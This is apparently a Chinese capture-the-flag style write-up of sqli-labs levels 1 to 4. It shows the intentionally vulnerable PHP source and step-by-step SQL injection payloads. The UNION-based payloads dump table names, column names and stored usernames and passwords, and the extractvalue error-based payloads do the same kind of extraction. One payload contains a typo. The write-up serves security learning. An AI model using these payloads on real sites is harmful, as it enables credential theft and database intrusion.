SQL注入漏洞注入原理
SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。[摘自wiki]
less-1 GET-Error based Single quotes - String
首先看一下题目源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql); //发送一条mysql请求,但是此函数已经被5.50起废除了,7.0进行了移除//在这里能不能搞文章
$row = mysql_fetch_array($result);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有
if($row) //所以这里处理的就是数组
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
接着进入网页进行尝试
输入?id=1
接着试试判断表下有多少列,
这里测试4列显然不对
所以在试试3列
接着我们就需要知道当前使用的是哪一个库了
由此我们可以得知心啊子啊使用的是security库,那么知道了库之后我们就需要去看看库里有什么表
这里构造的语句是这样写的
url+?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
得到了security库里的表名,发现有一个表名叫做users,发现有点东西所以再进一步尝试。[其实也只是爆列了]
构造语句如下:
url+?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
接着就需要爆值了,
构造语句如下
url + 0' union select 1,2,group_concat('-',id,username,password) from users --+
到此第一关就结束了
less 2 GET-Error based-Intiger based
上一题,特征是单引号,这个题看题目就知道了,所以这一次不使用union 查询注入,而是使用手工报错注入[基于extractvalue]。那么extractvalue是什么函数呢?
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
extractvalue(XML_document, XPath_string)
第一个参数:xml文件
第二个参数:xml文件位置
简而言之,这个函数实际上就是对xml文档进行查询的函数,报错主要是靠第二个参数,首先正常的路径应该是////***,那么如果输入的是不符合规格的,那么我们就会报错,并且返回我们写的东西,我们在这里进行查询,这样就可以在报错的位置得到我们需要的东西。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
知道了这些我们就可以去尝试用另一种方法了,按照查询数据库->爆表->爆列->爆值
构造返回数据库名的语句
url+?id=1' and 1=extractvalue(1,concat(0x7e,(select grooup_concat(select database())))) --+
构造爆表的语句
url+?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
后边爆列爆值的方法都一样的,所以就不展示了
Less3 GET-Error based-single quotes with twist -string
根据报错信息
发现单引号不对,并且标题告诉我们,需要想办法闭合,所以加上括号好就好了其他的都一样
Less4 GET-Error based-Double quotes -string
看报错信息,这里单引号变双引号就好了。
关于闭合的问题,可以看一看源码就会明白了,报错里也有的。
下图这个是less1的
sqlmap当然也可以但是刚开始还是手工测试学习吧。
頑張って!